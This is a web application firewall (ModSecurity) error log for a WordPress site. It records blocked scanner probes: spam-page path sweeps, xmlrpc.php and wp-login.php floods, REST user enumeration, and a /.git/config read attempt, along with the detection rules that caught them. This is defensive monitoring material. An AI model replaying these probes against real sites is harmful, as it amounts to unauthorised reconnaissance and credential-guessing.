[Fri May 22 22:08:49.504294 2026] [:error] [pid 58813:tid 58827] [client 145.239.69.40:54714] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ahBjcZ6yyKWDKULhxJ2UeQAAAUs"]
[Fri May 22 22:08:51.483948 2026] [:error] [pid 15679:tid 15704] [client 145.239.69.40:54722] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ahBjcyh8tgGc38WJ-Gx28gAAANc"]
[Fri May 22 22:08:53.324251 2026] [:error] [pid 15585:tid 15668] [client 145.239.69.40:54738] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ahBjdSKb-vB41AF-LC2iwAAAAJU"]
[Fri May 22 22:08:55.314990 2026] [:error] [pid 15583:tid 15604] [client 145.239.69.40:54750] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ahBjd3naOncRcIm17YUptwAAABA"]
[Fri May 22 22:08:57.299064 2026] [:error] [pid 58813:tid 58823] [client 145.239.69.40:54754] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ahBjeZ6yyKWDKULhxJ2UewAAAUc"]
[Fri May 22 22:08:59.288209 2026] [:error] [pid 15679:tid 15702] [client 145.239.69.40:46198] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ahBjeyh8tgGc38WJ-Gx3AQAAANU"]
[Fri May 22 22:09:01.302072 2026] [:error] [pid 58782:tid 58791] [client 145.239.69.40:46200] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ahBjfYxsdTFafgO8vhQzaQAAAQc"]
[Fri May 22 22:09:03.328739 2026] [:error] [pid 15585:tid 15649] [client 145.239.69.40:46202] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ahBjfyKb-vB41AF-LC2iwwAAAII"]
[Fri May 22 22:09:05.335376 2026] [:error] [pid 15583:tid 15595] [client 145.239.69.40:46212] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ahBjgXnaOncRcIm17YUpvwAAAAc"]
[Fri May 22 22:09:07.349210 2026] [:error] [pid 15583:tid 15609] [client 145.239.69.40:46220] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ahBjg3naOncRcIm17YUpxQAAABU"]
[Fri May 22 22:09:09.354175 2026] [:error] [pid 15585:tid 15655] [client 145.239.69.40:44066] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahBjhSKb-vB41AF-LC2ixQAAAIg"]
[Fri May 22 22:09:11.381999 2026] [:error] [pid 15679:tid 15690] [client 145.239.69.40:44082] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ahBjhyh8tgGc38WJ-Gx3AwAAAMk"]
[Fri May 22 22:09:13.247627 2026] [:error] [pid 58813:tid 58830] [client 145.239.69.40:44094] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ahBjiZ6yyKWDKULhxJ2UhAAAAU4"]
[Fri May 22 22:09:15.257636 2026] [:error] [pid 15585:tid 15662] [client 145.239.69.40:44098] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahBjiyKb-vB41AF-LC2iyAAAAI8"]
[Fri May 22 22:09:17.266292 2026] [:error] [pid 15585:tid 15669] [client 145.239.69.40:44106] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahBjjSKb-vB41AF-LC2iyQAAAJY"]
[Fri May 22 22:09:19.287021 2026] [:error] [pid 15679:tid 15685] [client 145.239.69.40:33428] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ahBjjyh8tgGc38WJ-Gx3BQAAAMQ"]
[Fri May 22 22:09:21.291400 2026] [:error] [pid 58782:tid 58788] [client 145.239.69.40:33432] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ahBjkYxsdTFafgO8vhQzdQAAAQQ"]
[Fri May 22 22:09:23.291679 2026] [:error] [pid 58813:tid 58837] [client 145.239.69.40:33446] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ahBjk56yyKWDKULhxJ2UiAAAAVU"]
[Fri May 22 22:09:25.155017 2026] [:error] [pid 15679:tid 15691] [client 145.239.69.40:33454] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahBjlSh8tgGc38WJ-Gx3BwAAAMo"]
[Fri May 22 22:09:27.182807 2026] [:error] [pid 58782:tid 58787] [client 145.239.69.40:33464] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ahBjl4xsdTFafgO8vhQzegAAAQM"]
[Fri May 22 22:09:29.189016 2026] [:error] [pid 15583:tid 15589] [client 145.239.69.40:48116] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ahBjmXnaOncRcIm17YUp1gAAAAE"]
[Fri May 22 22:35:26.801906 2026] [:error] [pid 15583:tid 15611] [client 78.178.129.206:58334] [client 78.178.129.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.178.129.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBprnnaOncRcIm17YUw9QAAABc"]
[Fri May 22 22:35:34.803967 2026] [:error] [pid 15584:tid 15628] [client 78.178.129.206:58640] [client 78.178.129.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.178.129.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBptt9Z_TVLbNEx52hHnAAAAEg"]
[Fri May 22 22:35:45.520407 2026] [:error] [pid 15583:tid 15594] [client 78.178.129.206:58110] [client 78.178.129.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.178.129.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBpwXnaOncRcIm17YUxAAAAAAY"]
[Fri May 22 22:35:56.251278 2026] [:error] [pid 15584:tid 15634] [client 78.178.129.206:59119] [client 78.178.129.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.178.129.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBpzN9Z_TVLbNEx52hHrwAAAE4"]
[Fri May 22 22:36:07.968444 2026] [:error] [pid 15584:tid 15622] [client 78.178.129.206:58251] [client 78.178.129.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.178.129.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBp199Z_TVLbNEx52hHvAAAAEI"]
[Fri May 22 22:53:37.181178 2026] [:error] [pid 15585:tid 15667] [client 146.190.137.23:49248] [client 146.190.137.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.137.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahBt8SKb-vB41AF-LC2pwAAAAJQ"]
[Fri May 22 22:56:32.162462 2026] [:error] [pid 15583:tid 15607] [client 34.69.126.112:54997] [client 34.69.126.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.126.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBuoHnaOncRcIm17YU2zQAAABM"]
[Fri May 22 22:56:35.689165 2026] [:error] [pid 15583:tid 15610] [client 34.69.126.112:54997] [client 34.69.126.112] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBuo3naOncRcIm17YU20QAAABY"]
[Fri May 22 22:56:37.117538 2026] [:error] [pid 15679:tid 15690] [client 34.75.130.177:58109] [client 34.75.130.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.130.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBupSh8tgGc38WJ-GyA9wAAAMk"]
[Fri May 22 22:56:37.289120 2026] [:error] [pid 15583:tid 15598] [client 34.69.126.112:54997] [client 34.69.126.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.126.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBupXnaOncRcIm17YU20wAAAAo"]
[Fri May 22 22:56:39.206610 2026] [:error] [pid 58813:tid 58823] [client 34.69.126.112:49601] [client 34.69.126.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.126.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBup56yyKWDKULhxJ2aSwAAAUc"]
[Fri May 22 22:56:40.600166 2026] [:error] [pid 15679:tid 15685] [client 34.75.130.177:58109] [client 34.75.130.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBuqCh8tgGc38WJ-GyA_QAAAMQ"]
[Fri May 22 22:56:41.022944 2026] [:error] [pid 15679:tid 15682] [client 34.69.126.112:59557] [client 34.69.126.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.126.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBuqSh8tgGc38WJ-GyBAQAAAME"]
[Fri May 22 22:56:42.091488 2026] [:error] [pid 15679:tid 15691] [client 34.75.130.177:58109] [client 34.75.130.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.130.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBuqih8tgGc38WJ-GyBBwAAAMo"]
[Fri May 22 22:56:42.867173 2026] [:error] [pid 15585:tid 15665] [client 34.69.126.112:61969] [client 34.69.126.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.126.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBuqiKb-vB41AF-LC2qLwAAAJI"]
[Fri May 22 22:56:42.867408 2026] [:error] [pid 15585:tid 15665] [client 34.69.126.112:61969] [client 34.69.126.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.69.126.112, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBuqiKb-vB41AF-LC2qLwAAAJI"]
[Fri May 22 22:56:44.031482 2026] [:error] [pid 15584:tid 15624] [client 34.75.130.177:56033] [client 34.75.130.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.130.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBurN9Z_TVLbNEx52hKdwAAAEQ"]
[Fri May 22 22:56:46.004855 2026] [:error] [pid 58813:tid 58838] [client 34.75.130.177:63622] [client 34.75.130.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.130.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBurp6yyKWDKULhxJ2aTAAAAVY"]
[Fri May 22 22:56:47.926738 2026] [:error] [pid 15679:tid 15703] [client 34.75.130.177:61434] [client 34.75.130.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.130.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBuryh8tgGc38WJ-GyBCQAAANY"]
[Fri May 22 22:56:49.890192 2026] [:error] [pid 15583:tid 15590] [client 34.75.130.177:61528] [client 34.75.130.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.130.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBusXnaOncRcIm17YU23AAAAAI"]
[Fri May 22 22:56:49.890344 2026] [:error] [pid 15583:tid 15590] [client 34.75.130.177:61528] [client 34.75.130.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.75.130.177, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBusXnaOncRcIm17YU23AAAAAI"]
[Fri May 22 22:59:20.115809 2026] [:error] [pid 15585:tid 15651] [client 34.27.119.14:52387] [client 34.27.119.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.119.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBvSCKb-vB41AF-LC2qhQAAAIQ"]
[Fri May 22 22:59:23.567053 2026] [:error] [pid 15585:tid 15661] [client 34.27.119.14:52387] [client 34.27.119.14] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahBvSyKb-vB41AF-LC2qiQAAAI4"]
[Fri May 22 22:59:25.459023 2026] [:error] [pid 15585:tid 15656] [client 34.27.119.14:52387] [client 34.27.119.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.119.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBvTSKb-vB41AF-LC2qjAAAAIk"]
[Fri May 22 22:59:27.357431 2026] [:error] [pid 15583:tid 15594] [client 34.27.119.14:57940] [client 34.27.119.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.119.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBvT3naOncRcIm17YU3lAAAAAY"]
[Fri May 22 22:59:27.357602 2026] [:error] [pid 15583:tid 15594] [client 34.27.119.14:57940] [client 34.27.119.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.27.119.14, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahBvT3naOncRcIm17YU3lAAAAAY"]
[Fri May 22 23:04:44.336340 2026] [:error] [pid 15679:tid 15694] [client 146.190.137.23:54434] [client 146.190.137.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.137.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahBwjCh8tgGc38WJ-GyCnQAAAM0"]
[Fri May 22 23:12:03.641922 2026] [:error] [pid 15679:tid 15693] [client 137.184.39.6:51547] [client 137.184.39.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.39.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahByQyh8tgGc38WJ-GyEfQAAAMw"]
[Sat May 23 00:07:27.209765 2026] [:error] [pid 58813:tid 58838] [client 49.234.192.248:50460] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahB_P56yyKWDKULhxJ2mMgAAAVY"]
[Sat May 23 02:38:54.220623 2026] [:error] [pid 58782:tid 58787] [client 43.130.31.17:47462] [client 43.130.31.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahCivoxsdTFafgO8vhRZAAAAAQM"]
[Sat May 23 04:22:43.563949 2026] [:error] [pid 30942:tid 31008] [client 35.226.82.108:51584] [client 35.226.82.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "ahC7E9Uosz64YFiBlG2cUgAAAIU"]
[Sat May 23 09:01:53.446134 2026] [:error] [pid 30942:tid 31027] [client 147.135.213.170:53986] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ahD8gdUosz64YFiBlG3gxAAAAJg"]
[Sat May 23 09:01:55.440534 2026] [:error] [pid 30941:tid 30994] [client 147.135.213.170:50912] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ahD8g3TIgjSDhiZmvlU_VwAAAFI"]
[Sat May 23 09:01:57.308392 2026] [:error] [pid 30940:tid 30960] [client 147.135.213.170:50926] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ahD8hZqUP2XZmzp7RDqXAQAAAAs"]
